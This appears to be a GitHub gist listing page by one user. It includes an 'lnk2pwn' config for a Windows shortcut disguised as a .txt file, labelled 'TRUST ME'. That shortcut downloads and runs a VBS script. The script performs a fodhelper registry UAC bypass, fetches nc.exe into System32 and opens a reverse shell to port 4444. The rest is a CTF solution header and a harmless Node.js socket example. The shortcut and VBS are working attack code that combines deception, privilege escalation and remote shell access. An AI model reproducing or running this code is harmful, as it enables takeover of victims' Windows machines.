Skip to content

Instantly share code, notes, and snippets.

View tommelo's full-sized avatar

Tom Melo tommelo

  • IT Gorillaz
  • Stuttgart, Germany
View GitHub Profile
@tommelo
tommelo / config.json
Created April 25, 2018 16:53
lnk2pwn shortcut config
{
"shortcut": {
"target_path": "C:\\Windows\\System32\\cmd.exe",
"working_dir": "C:\\Windows\\System32",
"arguments": "/c powershell.exe iwr -outf %tmp%\\p.vbs http://127.0.0.1/uac_bypass.vbs & %tmp%\\p.vbs",
"icon_path": "C:\\Windows\\System32\\notepad.exe",
"icon_index": null,
"window_style": "MINIMIZED",
"description": "TRUST ME",
"fake_extension": ".txt",
Const HKEY_CURRENT_USER = &H80000001
Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName = ""
Const DefaultRegKeyValue = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe"
@tommelo
tommelo / garageweek.py
Created July 21, 2018 17:34
Hackaflag Garage Week (Bradesco) | Resolução da challenge da Pirâmide
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# pylint: disable=C0103,C0301,W1202,W0212
"""
Hackaflag Garage Week (Bradesco)
Resolução do desafio da pirâmide:
HOST: 159.65.181.58
@tommelo
tommelo / example.js
Last active June 8, 2022 22:57
Promisify net.Socket
const { connect } = require('./socket');
async function asyncSocket() {
let socket;
try {
socket = await connect('localhost', 3000, 30);
await socket.write('ping');